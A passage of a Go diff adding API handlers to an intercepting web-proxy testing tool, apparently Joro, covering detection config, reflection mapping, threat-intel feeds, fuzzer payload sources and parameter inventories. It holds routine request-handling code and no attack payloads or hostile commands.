writeJSON(w, http.StatusOK, map[string]any{"id": id, "enabled": body.Enabled})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleDeleteCustomDataItem(w http.ResponseWriter, r *http.Request) {
|
||||
id := r.PathValue("id")
|
||||
if !s.customData.RemoveItem(id) {
|
||||
|
||||
@@ -93,6 +93,8 @@ type detectConfigPatch struct {
|
||||
SkipContentTypes *[]string `json:"skipContentTypes"`
|
||||
SkipExtensions *[]string `json:"skipExtensions"`
|
||||
ExcludeHosts *[]string `json:"excludeHosts"`
|
||||
AnomalyEnabled *bool `json:"anomalyEnabled"`
|
||||
AnomalySensitivity *string `json:"anomalySensitivity"`
|
||||
}
|
||||
|
||||
// handleSetDetectConfig applies a partial configuration update.
|
||||
@@ -133,6 +135,12 @@ func (s *APIServer) handleSetDetectConfig(w http.ResponseWriter, r *http.Request
|
||||
if patch.ExcludeHosts != nil {
|
||||
cfg.ExcludeHosts = *patch.ExcludeHosts
|
||||
}
|
||||
if patch.AnomalyEnabled != nil {
|
||||
cfg.AnomalyEnabled = *patch.AnomalyEnabled
|
||||
}
|
||||
if patch.AnomalySensitivity != nil {
|
||||
cfg.AnomalySensitivity = *patch.AnomalySensitivity
|
||||
}
|
||||
s.detectEngine.SetConfig(cfg)
|
||||
writeJSON(w, http.StatusOK, s.detectEngine.Config())
|
||||
}
|
||||
|
||||
@@ -0,0 +1,222 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"strconv"
|
||||
|
||||
"github.com/BishopFox/joro/internal/echo"
|
||||
)
|
||||
|
||||
// echoAvailable rejects requests when reflection mapping is not wired, as in
|
||||
// listener and team-server mode. The routes are also behind the proxy-mode gate
|
||||
// in registerRoutes.
|
||||
func (s *APIServer) echoAvailable(w http.ResponseWriter) bool {
|
||||
if s.echoEngine == nil || s.echoStore == nil {
|
||||
writeError(w, http.StatusNotFound, "reflection mapping is unavailable in this mode")
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// handleGetEcho returns everything the tab needs on mount.
|
||||
func (s *APIServer) handleGetEcho(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.echoAvailable(w) {
|
||||
return
|
||||
}
|
||||
cfg := s.echoEngine.Config()
|
||||
writeJSON(w, http.StatusOK, map[string]any{
|
||||
"enabled": cfg.Enabled,
|
||||
"config": cfg,
|
||||
"summary": s.echoStore.Summary(),
|
||||
"hosts": s.echoStore.Hosts(),
|
||||
"scan": s.echoEngine.Status(),
|
||||
})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleSetEchoEnabled(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.echoAvailable(w) {
|
||||
return
|
||||
}
|
||||
var body struct {
|
||||
Enabled bool `json:"enabled"`
|
||||
}
|
||||
if err := decodeJSON(r, &body); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
s.echoEngine.SetEnabled(body.Enabled)
|
||||
writeJSON(w, http.StatusOK, map[string]any{"enabled": body.Enabled})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleGetEchoConfig(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.echoAvailable(w) {
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusOK, s.echoEngine.Config())
|
||||
}
|
||||
|
||||
// echoConfigPatch is a pointer per field so a PUT can carry any subset, as
|
||||
// detectConfigPatch does.
|
||||
type echoConfigPatch struct {
|
||||
Enabled *bool `json:"enabled"`
|
||||
ScopeOnly *bool `json:"scopeOnly"`
|
||||
MaxBodyScanBytes *int `json:"maxBodyScanBytes"`
|
||||
MaxRequestBodyScanBytes *int `json:"maxRequestBodyScanBytes"`
|
||||
MinValueLen *int `json:"minValueLen"`
|
||||
MaxValuesPerRequest *int `json:"maxValuesPerRequest"`
|
||||
MaxReflectionsPerRequest *int `json:"maxReflectionsPerRequest"`
|
||||
TransformDepth *int `json:"transformDepth"`
|
||||
Base64 *bool `json:"base64"`
|
||||
ScanHeaders *bool `json:"scanHeaders"`
|
||||
ExcludeHosts *[]string `json:"excludeHosts"`
|
||||
}
|
||||
|
||||
func (s *APIServer) handleSetEchoConfig(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.echoAvailable(w) {
|
||||
return
|
||||
}
|
||||
var p echoConfigPatch
|
||||
if err := decodeJSON(r, &p); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
cfg := s.echoEngine.Config()
|
||||
setBool(&cfg.Enabled, p.Enabled)
|
||||
setBool(&cfg.ScopeOnly, p.ScopeOnly)
|
||||
setInt(&cfg.MaxBodyScanBytes, p.MaxBodyScanBytes)
|
||||
setInt(&cfg.MaxRequestBodyScanBytes, p.MaxRequestBodyScanBytes)
|
||||
setInt(&cfg.MinValueLen, p.MinValueLen)
|
||||
setInt(&cfg.MaxValuesPerRequest, p.MaxValuesPerRequest)
|
||||
setInt(&cfg.MaxReflectionsPerRequest, p.MaxReflectionsPerRequest)
|
||||
setInt(&cfg.TransformDepth, p.TransformDepth)
|
||||
setBool(&cfg.Base64, p.Base64)
|
||||
setBool(&cfg.ScanHeaders, p.ScanHeaders)
|
||||
if p.ExcludeHosts != nil {
|
||||
cfg.ExcludeHosts = *p.ExcludeHosts
|
||||
}
|
||||
s.echoEngine.SetConfig(cfg)
|
||||
writeJSON(w, http.StatusOK, s.echoEngine.Config())
|
||||
}
|
||||
|
||||
func setBool(dst *bool, v *bool) {
|
||||
if v != nil {
|
||||
*dst = *v
|
||||
}
|
||||
}
|
||||
|
||||
func setInt(dst *int, v *int) {
|
||||
if v != nil {
|
||||
*dst = *v
|
||||
}
|
||||
}
|
||||
|
||||
// handleListEchoParams returns a page of the map.
|
||||
func (s *APIServer) handleListEchoParams(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.echoAvailable(w) {
|
||||
return
|
||||
}
|
||||
q := r.URL.Query()
|
||||
f := echo.Filter{
|
||||
Host: q.Get("host"),
|
||||
Sources: splitCSV(q.Get("source")),
|
||||
Contexts: splitCSV(q.Get("context")),
|
||||
Transforms: splitCSV(q.Get("transform")),
|
||||
BreakoutOnly: q.Get("breakout") == "true",
|
||||
Search: q.Get("search"),
|
||||
Sort: q.Get("sort"),
|
||||
Dir: q.Get("dir"),
|
||||
Limit: 100,
|
||||
}
|
||||
if v, err := strconv.Atoi(q.Get("offset")); err == nil && v >= 0 {
|
||||
f.Offset = v
|
||||
}
|
||||
if q.Has("limit") {
|
||||
if v, err := strconv.Atoi(q.Get("limit")); err == nil {
|
||||
f.Limit = v
|
||||
}
|
||||
}
|
||||
items, total := s.echoStore.List(f)
|
||||
writeJSON(w, http.StatusOK, map[string]any{
|
||||
"items": items, "total": total, "offset": f.Offset, "limit": f.Limit,
|
||||
})
|
||||
}
|
||||
|
||||
// handleGetEchoParam returns one row with its recent reflections.
|
||||
func (s *APIServer) handleGetEchoParam(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.echoAvailable(w) {
|
||||
return
|
||||
}
|
||||
e, ok := s.echoStore.Entry(r.PathValue("id"))
|
||||
if !ok {
|
||||
writeError(w, http.StatusNotFound, "no such parameter")
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusOK, e)
|
||||
}
|
||||
|
||||
// handleGetEchoRequest returns one message's report, for the History pane. A
|
||||
// request with no report is not an error: it may predate the feature being
|
||||
// switched on, which the empty report says plainly.
|
||||
func (s *APIServer) handleGetEchoRequest(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.echoAvailable(w) {
|
||||
return
|
||||
}
|
||||
id := r.PathValue("requestId")
|
||||
rep, ok := s.echoStore.Report(id)
|
||||
if !ok {
|
||||
writeJSON(w, http.StatusOK, map[string]any{
|
||||
"requestId": id, "analyzed": false, "reflections": []any{},
|
||||
})
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusOK, map[string]any{
|
||||
"requestId": id, "analyzed": true, "report": rep,
|
||||
})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleClearEcho(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.echoAvailable(w) {
|
||||
return
|
||||
}
|
||||
s.echoStore.Clear()
|
||||
writeJSON(w, http.StatusOK, map[string]any{"cleared": true})
|
||||
}
|
||||
|
||||
// handleStartEchoScan backfills the map from captured history. This is the
|
||||
// common path: the feature is switched on after the interesting traffic has
|
||||
// already been captured.
|
||||
func (s *APIServer) handleStartEchoScan(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.echoAvailable(w) {
|
||||
return
|
||||
}
|
||||
var req echo.RescanRequest
|
||||
if err := decodeJSONOptional(r, &req, maxJSONBody); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
status, err := s.echoEngine.StartRescan(s.detectBackgroundCtx(), req)
|
||||
if err == echo.ErrScanRunning {
|
||||
writeError(w, http.StatusConflict, err.Error())
|
||||
return
|
||||
}
|
||||
if err != nil {
|
||||
writeError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusOK, status)
|
||||
}
|
||||
|
||||
func (s *APIServer) handleGetEchoScan(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.echoAvailable(w) {
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusOK, s.echoEngine.Status())
|
||||
}
|
||||
|
||||
func (s *APIServer) handleCancelEchoScan(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.echoAvailable(w) {
|
||||
return
|
||||
}
|
||||
s.echoEngine.Cancel()
|
||||
writeJSON(w, http.StatusOK, s.echoEngine.Status())
|
||||
}
|
||||
@@ -0,0 +1,103 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/joro/internal/feeds"
|
||||
)
|
||||
|
||||
// The threat-intel feed control plane. UI-only, proxy-mode only.
|
||||
//
|
||||
// Routes are registered unconditionally and gated here on requireFeeds, for the same reason
|
||||
// the webhook and automation planes are: an unregistered route falls through to the SPA
|
||||
// catch-all and answers 200 with HTML rather than 404 with JSON. There are no secrets to
|
||||
// redact — a feed snapshot is public intelligence — so unlike webhooks every field goes out
|
||||
// as stored.
|
||||
|
||||
// requireFeeds reports whether the aggregator is available, writing the JSON 404 if not. The
|
||||
// message names which off-state it is: --no-feeds (a posture) versus an unreadable feeds.json
|
||||
// (a fault).
|
||||
func (s *APIServer) requireFeeds(w http.ResponseWriter) *feeds.Aggregator {
|
||||
if s.cfg.NoFeeds {
|
||||
writeError(w, http.StatusNotFound,
|
||||
"threat-intel feeds are disabled on this instance; it was started with --no-feeds")
|
||||
return nil
|
||||
}
|
||||
if s.feeds == nil || s.feedsStore == nil {
|
||||
writeError(w, http.StatusNotFound,
|
||||
"threat-intel feeds are unavailable on this instance; see the startup log for why "+
|
||||
"~/.joro/feeds.json could not be read")
|
||||
return nil
|
||||
}
|
||||
return s.feeds
|
||||
}
|
||||
|
||||
// feedsResponse is the whole feed view: the operator's settings plus the current snapshot.
|
||||
type feedsResponse struct {
|
||||
Settings feeds.State `json:"settings"`
|
||||
Snapshot feeds.Snapshot `json:"snapshot"`
|
||||
}
|
||||
|
||||
// handleGetFeeds returns settings + snapshot. Served even while feeds are disabled (Enabled
|
||||
// false, empty items), so the UI can render its "enable" state from one call.
|
||||
func (s *APIServer) handleGetFeeds(w http.ResponseWriter, r *http.Request) {
|
||||
agg := s.requireFeeds(w)
|
||||
if agg == nil {
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusOK, feedsResponse{
|
||||
Settings: s.feedsStore.Get(),
|
||||
Snapshot: agg.Snapshot(),
|
||||
})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleGetFeedsSettings(w http.ResponseWriter, r *http.Request) {
|
||||
if s.requireFeeds(w) == nil {
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusOK, s.feedsStore.Get())
|
||||
}
|
||||
|
||||
// handleSetFeedsSettings validates and persists settings (the store floors the interval), and
|
||||
// on an off->on flip kicks an immediate refresh so the dashboard fills without waiting for the
|
||||
// loop's next pass.
|
||||
func (s *APIServer) handleSetFeedsSettings(w http.ResponseWriter, r *http.Request) {
|
||||
if s.requireFeeds(w) == nil {
|
||||
return
|
||||
}
|
||||
var in feeds.State
|
||||
if err := decodeJSON(r, &in); err != nil {
|
||||
writeError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
prev := s.feedsStore.Get()
|
||||
next, err := s.feedsStore.Set(in)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
if next.Enabled && !prev.Enabled {
|
||||
go s.refreshFeedsTick(s.feedsContext())
|
||||
}
|
||||
writeJSON(w, http.StatusOK, next)
|
||||
}
|
||||
|
||||
// handleRefreshFeeds triggers an out-of-band refresh, debounced server-side so a UI button
|
||||
// cannot push NVD past its rate limit regardless of the client.
|
||||
func (s *APIServer) handleRefreshFeeds(w http.ResponseWriter, r *http.Request) {
|
||||
agg := s.requireFeeds(w)
|
||||
if agg == nil {
|
||||
return
|
||||
}
|
||||
if !s.feedsStore.Get().Enabled {
|
||||
writeError(w, http.StatusConflict, "threat-intel feeds are turned off; enable them first")
|
||||
return
|
||||
}
|
||||
if !agg.TryBeginManual(60 * time.Second) {
|
||||
writeError(w, http.StatusTooManyRequests, "feeds were refreshed moments ago; try again shortly")
|
||||
return
|
||||
}
|
||||
go s.refreshFeedsTick(s.feedsContext())
|
||||
writeJSON(w, http.StatusAccepted, map[string]string{"status": "refreshing"})
|
||||
}
|
||||
+109
-17
@@ -22,6 +22,8 @@ type fuzzerStartRequest struct {
|
||||
Host string `json:"host"`
|
||||
Wordlist []string `json:"wordlist"` // Single-position wordlist
|
||||
Wordlists map[string][]string `json:"wordlists,omitempty"` // Multi-position: position → wordlist
|
||||
Source *fuzzer.PayloadSource `json:"source,omitempty"` // Single-position / spray: a built-in list or generator, resolved server-side
|
||||
Sources map[string]fuzzer.PayloadSource `json:"sources,omitempty"` // Split/yolo: a source per position; absent ones fall back to Wordlists
|
||||
AttackMode string `json:"attackMode,omitempty"` // spray, split, yolo
|
||||
Threads int `json:"threads"`
|
||||
RateLimit float64 `json:"rateLimit"`
|
||||
@@ -93,12 +95,22 @@ func (s *APIServer) handleFuzzerStart(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
|
||||
if len(positions) <= 1 {
|
||||
// Single-position mode
|
||||
if len(req.Wordlist) == 0 {
|
||||
writeError(w, http.StatusBadRequest, "wordlist is empty")
|
||||
return
|
||||
// Single-position mode. A source (built-in list or generator) resolves
|
||||
// server-side; otherwise the inline wordlist is used as-is.
|
||||
if req.Source != nil {
|
||||
wl, err := req.Source.Resolve(fuzzer.MaxGeneratedPayloads)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
cfg.Wordlist = wl
|
||||
} else {
|
||||
if len(req.Wordlist) == 0 {
|
||||
writeError(w, http.StatusBadRequest, "wordlist is empty")
|
||||
return
|
||||
}
|
||||
cfg.Wordlist = req.Wordlist
|
||||
}
|
||||
cfg.Wordlist = req.Wordlist
|
||||
} else {
|
||||
// Multi-position mode
|
||||
mode := fuzzer.AttackMode(req.AttackMode)
|
||||
@@ -109,30 +121,46 @@ func (s *APIServer) handleFuzzerStart(w http.ResponseWriter, r *http.Request) {
|
||||
cfg.AttackMode = mode
|
||||
|
||||
if mode == fuzzer.AttackSpray {
|
||||
// Spray: single wordlist used for all positions
|
||||
if len(req.Wordlist) == 0 {
|
||||
writeError(w, http.StatusBadRequest, "wordlist is empty")
|
||||
return
|
||||
// Spray: single wordlist (or source) used for all positions
|
||||
var wl []string
|
||||
if req.Source != nil {
|
||||
resolved, err := req.Source.Resolve(fuzzer.MaxGeneratedPayloads)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
wl = resolved
|
||||
} else {
|
||||
if len(req.Wordlist) == 0 {
|
||||
writeError(w, http.StatusBadRequest, "wordlist is empty")
|
||||
return
|
||||
}
|
||||
wl = req.Wordlist
|
||||
}
|
||||
cfg.Wordlists = make(map[string][]string, len(positions))
|
||||
for _, pos := range positions {
|
||||
cfg.Wordlists[pos] = req.Wordlist
|
||||
cfg.Wordlists[pos] = wl
|
||||
}
|
||||
} else {
|
||||
// Split/Yolo: require a wordlist for each position
|
||||
if len(req.Wordlists) == 0 {
|
||||
writeError(w, http.StatusBadRequest, "wordlists map is required for split/yolo modes")
|
||||
return
|
||||
}
|
||||
// Split/Yolo: each position takes a resolved source or an inline wordlist
|
||||
cfg.Wordlists = make(map[string][]string, len(positions))
|
||||
for _, pos := range positions {
|
||||
if src, ok := req.Sources[pos]; ok {
|
||||
resolved, err := src.Resolve(fuzzer.MaxGeneratedPayloads)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusBadRequest, fmt.Sprintf("position %s: %v", pos, err))
|
||||
return
|
||||
}
|
||||
cfg.Wordlists[pos] = resolved
|
||||
continue
|
||||
}
|
||||
wl, ok := req.Wordlists[pos]
|
||||
if !ok || len(wl) == 0 {
|
||||
writeError(w, http.StatusBadRequest, fmt.Sprintf("missing or empty wordlist for position %s", pos))
|
||||
return
|
||||
}
|
||||
_ = wl
|
||||
cfg.Wordlists[pos] = wl
|
||||
}
|
||||
cfg.Wordlists = req.Wordlists
|
||||
|
||||
// Safety limit for yolo mode
|
||||
if mode == fuzzer.AttackYolo {
|
||||
@@ -335,3 +363,67 @@ func (s *APIServer) handleFuzzerUploadWordlist(w http.ResponseWriter, r *http.Re
|
||||
"count": len(lines),
|
||||
})
|
||||
}
|
||||
|
||||
// handleFuzzerListWordlists returns the catalog of built-in lists and generators.
|
||||
// Built-in list contents are never sent — only a count — so the picker shows size
|
||||
// without shipping the payloads twice.
|
||||
func (s *APIServer) handleFuzzerListWordlists(w http.ResponseWriter, r *http.Request) {
|
||||
type builtinDTO struct {
|
||||
ID string `json:"id"`
|
||||
Label string `json:"label"`
|
||||
Description string `json:"description"`
|
||||
Category string `json:"category"`
|
||||
Count int `json:"count"`
|
||||
}
|
||||
lists := fuzzer.BuiltinLists()
|
||||
builtins := make([]builtinDTO, 0, len(lists))
|
||||
for _, l := range lists {
|
||||
builtins = append(builtins, builtinDTO{
|
||||
ID: l.ID, Label: l.Label, Description: l.Description,
|
||||
Category: l.Category, Count: len(l.Values),
|
||||
})
|
||||
}
|
||||
writeJSON(w, http.StatusOK, map[string]any{
|
||||
"builtins": builtins,
|
||||
"generators": fuzzer.Generators(),
|
||||
})
|
||||
}
|
||||
|
||||
// handleFuzzerPreviewSource resolves a payload source and returns its size plus a
|
||||
// small sample, so the editor can show "~N payloads — a, b, c, ..." live. It
|
||||
// reuses the same resolver and cap as a real campaign start.
|
||||
func (s *APIServer) handleFuzzerPreviewSource(w http.ResponseWriter, r *http.Request) {
|
||||
if !requireLocalOrigin(w, r) {
|
||||
return
|
||||
}
|
||||
var src fuzzer.PayloadSource
|
||||
if err := decodeJSON(r, &src); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
count, err := src.Count()
|
||||
if err != nil {
|
||||
writeError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
resp := map[string]any{
|
||||
"count": count,
|
||||
"sample": []string{},
|
||||
"exceedsLimit": count > fuzzer.MaxGeneratedPayloads, // cannot be run
|
||||
}
|
||||
// Only materialize for the sample when the list is small enough that doing so
|
||||
// on a debounced keystroke is cheap; the count alone covers the rest.
|
||||
const previewSampleCap = 100_000
|
||||
if count > 0 && count <= previewSampleCap {
|
||||
full, err := src.Resolve(previewSampleCap)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
if len(full) > 20 {
|
||||
full = full[:20]
|
||||
}
|
||||
resp["sample"] = full
|
||||
}
|
||||
writeJSON(w, http.StatusOK, resp)
|
||||
}
|
||||
@@ -60,6 +60,22 @@ func (s *APIServer) handleAddReplaceRule(w http.ResponseWriter, r *http.Request)
|
||||
writeJSON(w, http.StatusCreated, rule)
|
||||
}
|
||||
|
||||
func (s *APIServer) handleSetReplaceRuleEnabled(w http.ResponseWriter, r *http.Request) {
|
||||
id := r.PathValue("id")
|
||||
var body struct {
|
||||
Enabled bool `json:"enabled"`
|
||||
}
|
||||
if err := decodeJSON(r, &body); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
if !s.replace.SetRuleEnabled(id, body.Enabled) {
|
||||
writeError(w, http.StatusNotFound, "rule not found")
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusOK, map[string]any{"id": id, "enabled": body.Enabled})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleDeleteReplaceRule(w http.ResponseWriter, r *http.Request) {
|
||||
id := r.PathValue("id")
|
||||
if !s.replace.RemoveRule(id) {
|
||||
|
||||
@@ -5,6 +5,7 @@ import (
|
||||
"net/http"
|
||||
"strconv"
|
||||
|
||||
"github.com/BishopFox/joro/internal/echo"
|
||||
"github.com/BishopFox/joro/internal/proxy"
|
||||
)
|
||||
|
||||
@@ -98,7 +99,14 @@ func (s *APIServer) handleGetRequest(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
|
||||
writeJSON(w, http.StatusOK, map[string]any{
|
||||
"id": item.ID,
|
||||
"id": item.ID,
|
||||
// Seq is the handle every server-side feature addresses a capture by, and
|
||||
// the client's RequestDetail has always been typed as carrying it — it
|
||||
// extends RequestSummary, which the list endpoint does fill in. Omitting
|
||||
// it here made that type a lie no compiler could catch: a caller reading
|
||||
// detail.seq got undefined, which JSON-encodes to null and decodes in Go
|
||||
// as 0, and the request was reported as evicted from the capture buffer.
|
||||
"seq": item.Seq,
|
||||
"timestamp": item.Timestamp.Format("2006-01-02T15:04:05.000Z"),
|
||||
"method": item.Method,
|
||||
"url": item.URL,
|
||||
@@ -113,6 +121,35 @@ func (s *APIServer) handleGetRequest(w http.ResponseWriter, r *http.Request) {
|
||||
})
|
||||
}
|
||||
|
||||
// handleGetRequestParams lists every input one captured request carried — query,
|
||||
// path segment, form field, JSON leaf, multipart field, cookie and header — as
|
||||
// the one walker in the repo enumerates them. It is the per-request half of the
|
||||
// site-map inventory and, like it, runs on demand and needs nothing from the
|
||||
// reflection engine.
|
||||
func (s *APIServer) handleGetRequestParams(w http.ResponseWriter, r *http.Request) {
|
||||
item := s.store.Get(r.PathValue("id"))
|
||||
if item == nil {
|
||||
writeError(w, http.StatusNotFound, "request not found")
|
||||
return
|
||||
}
|
||||
|
||||
cfg := echo.DefaultConfig()
|
||||
if s.echoEngine != nil {
|
||||
cfg = s.echoEngine.Config()
|
||||
}
|
||||
cfg.Normalize()
|
||||
params := echo.RequestParams(item, cfg)
|
||||
|
||||
writeJSON(w, http.StatusOK, map[string]any{
|
||||
"requestId": item.ID,
|
||||
"params": params,
|
||||
// The walker stops at MaxValuesPerRequest without saying it did, so a full
|
||||
// slice is the only signal available. A request carrying exactly the cap
|
||||
// reports truncated, which is the safe direction to be wrong in.
|
||||
"truncated": len(params) >= cfg.MaxValuesPerRequest,
|
||||
})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleClearRequests(w http.ResponseWriter, r *http.Request) {
|
||||
s.store.Clear()
|
||||
// Clear zeroes the store's sequence counter, so the detection cursor must be
|
||||
@@ -121,3 +158,18 @@ func (s *APIServer) handleClearRequests(w http.ResponseWriter, r *http.Request)
|
||||
s.clearDetectFindingsWithHistory()
|
||||
writeJSON(w, http.StatusOK, map[string]string{"status": "cleared"})
|
||||
}
|
||||
|
||||
// handleDeleteRequestsByHost removes captured requests whose host matches a glob,
|
||||
// the "clear what is already captured" companion to adding a noise pattern. The
|
||||
// required "pattern" query param is the host glob (filepath.Match), the same value
|
||||
// stored as the noise pattern. Removing the requests also drops them from the site
|
||||
// map, which is derived from the same store.
|
||||
func (s *APIServer) handleDeleteRequestsByHost(w http.ResponseWriter, r *http.Request) {
|
||||
pattern := r.URL.Query().Get("pattern")
|
||||
if pattern == "" {
|
||||
writeError(w, http.StatusBadRequest, "pattern is required")
|
||||
return
|
||||
}
|
||||
removed := s.store.DeleteByHostPattern(pattern)
|
||||
writeJSON(w, http.StatusOK, map[string]int{"deleted": removed})
|
||||
}
|
||||
@@ -1,6 +1,16 @@
|
||||
package api
|
||||
|
||||
import "net/http"
|
||||
import (
|
||||
"net/http"
|
||||
"net/url"
|
||||
|
||||
"github.com/BishopFox/joro/internal/echo"
|
||||
)
|
||||
|
||||
// maxInventoryRequests bounds the walk behind a parameter inventory. History
|
||||
// holds thousands of requests and a hot endpoint can hold most of them, so the
|
||||
// newest slice is walked and the response says so rather than the pane stalling.
|
||||
const maxInventoryRequests = 1000
|
||||
|
||||
func (s *APIServer) handleGetSitemap(w http.ResponseWriter, r *http.Request) {
|
||||
f := s.requestFilterFromQuery(r)
|
||||
@@ -8,6 +18,81 @@ func (s *APIServer) handleGetSitemap(w http.ResponseWriter, r *http.Request) {
|
||||
writeJSON(w, http.StatusOK, map[string]any{"hosts": hosts})
|
||||
}
|
||||
|
||||
// handleGetSitemapParams inventories the parameters behind a site-map node: every
|
||||
// input its requests carried, across every source, with counts. It takes the same
|
||||
// request filters as handleGetSitemap, so the pane describes the node the operator
|
||||
// clicked in the tree they are looking at.
|
||||
//
|
||||
// The node is named by "origin", not by "host" as handleDeleteSitemap names it.
|
||||
// This endpoint also parses the shared request filters, where "host" already means
|
||||
// a case-insensitive substring of the captured Host header — and an origin carries
|
||||
// a scheme, so it is never a substring of one. Reusing the name here would filter
|
||||
// every request away and report an endpoint with no parameters rather than fail.
|
||||
//
|
||||
// The walk is on demand and depends on nothing the reflection engine does: it
|
||||
// answers for an operator who has never switched Echo on, which is the default.
|
||||
func (s *APIServer) handleGetSitemapParams(w http.ResponseWriter, r *http.Request) {
|
||||
q := r.URL.Query()
|
||||
origin := q.Get("origin")
|
||||
if origin == "" {
|
||||
writeError(w, http.StatusBadRequest, "origin is required")
|
||||
return
|
||||
}
|
||||
matchPath := q.Has("path")
|
||||
path := q.Get("path")
|
||||
|
||||
reqs := s.store.NodeRequests(origin, path, matchPath, s.requestFilterFromQuery(r))
|
||||
total := len(reqs)
|
||||
walked := reqs
|
||||
if len(walked) > maxInventoryRequests {
|
||||
walked = walked[:maxInventoryRequests]
|
||||
}
|
||||
|
||||
// The engine's configuration when it is wired, so the operator's body-scan
|
||||
// bounds apply; defaults otherwise, because the inventory has to work wherever
|
||||
// the site map does.
|
||||
cfg := echo.DefaultConfig()
|
||||
if s.echoEngine != nil {
|
||||
cfg = s.echoEngine.Config()
|
||||
}
|
||||
|
||||
rows := echo.Inventory(walked, cfg)
|
||||
s.markReflected(origin, rows)
|
||||
|
||||
writeJSON(w, http.StatusOK, map[string]any{
|
||||
"origin": origin,
|
||||
"path": path,
|
||||
"requests": total,
|
||||
"walked": len(walked),
|
||||
"truncated": len(walked) < total,
|
||||
"params": rows,
|
||||
})
|
||||
}
|
||||
|
||||
// markReflected flags the rows reflection mapping has already seen come back.
|
||||
//
|
||||
// The join key is the bare host. A site-map origin is scheme://host[:port] while
|
||||
// echo keys an entry on detect.Message.Host, which is url.URL.Host — no scheme.
|
||||
// Passing the origin through would hash a string no entry ever uses and leave
|
||||
// every row silently unreflected.
|
||||
func (s *APIServer) markReflected(origin string, rows []echo.ParamRow) {
|
||||
if s.echoStore == nil {
|
||||
return
|
||||
}
|
||||
u, err := url.Parse(origin)
|
||||
if err != nil || u.Host == "" {
|
||||
return
|
||||
}
|
||||
for i := range rows {
|
||||
e, ok := s.echoStore.Entry(echo.EntryID(u.Host, rows[i].Source, rows[i].Name))
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
rows[i].Reflected = true
|
||||
rows[i].Breakouts = e.Breakouts
|
||||
}
|
||||
}
|
||||
|
||||
// handleDeleteSitemap removes the captured requests behind a site-map node. A
|
||||
// "host" query param (origin, scheme://host[:port]) is required. An optional
|
||||
// "path" param scopes the deletion to a single endpoint; when it is present the
|
||||
|
||||
@@ -0,0 +1,652 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/joro/internal/apiscan"
|
||||
"github.com/BishopFox/joro/internal/apispec"
|
||||
"github.com/BishopFox/joro/internal/httptools"
|
||||
)
|
||||
|
||||
// specLoadRequest carries a document from one of three sources. Exactly one of
|
||||
// Raw, Text and URL is used, in that order of preference.
|
||||
type specLoadRequest struct {
|
||||
Raw string `json:"raw"` // base64; a captured response, headers included
|
||||
Text string `json:"text"` // the document verbatim
|
||||
URL string `json:"url"` // fetched through Joro's proxy
|
||||
Name string `json:"name"`
|
||||
|
||||
// UserAgent is the tab's, when a tab is doing the loading — a discovery
|
||||
// sweep probes with it, so the fetch of what it found uses it too. Empty on
|
||||
// a first load, where no tab exists yet.
|
||||
UserAgent string `json:"userAgent,omitempty"`
|
||||
}
|
||||
|
||||
// handleSpecLoad parses a document and stores it.
|
||||
func (s *APIServer) handleSpecLoad(w http.ResponseWriter, r *http.Request) {
|
||||
var req specLoadRequest
|
||||
if err := decodeJSONLimit(r, &req, maxBulkJSONBody); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
|
||||
var (
|
||||
data []byte
|
||||
sourceURL string
|
||||
)
|
||||
|
||||
switch {
|
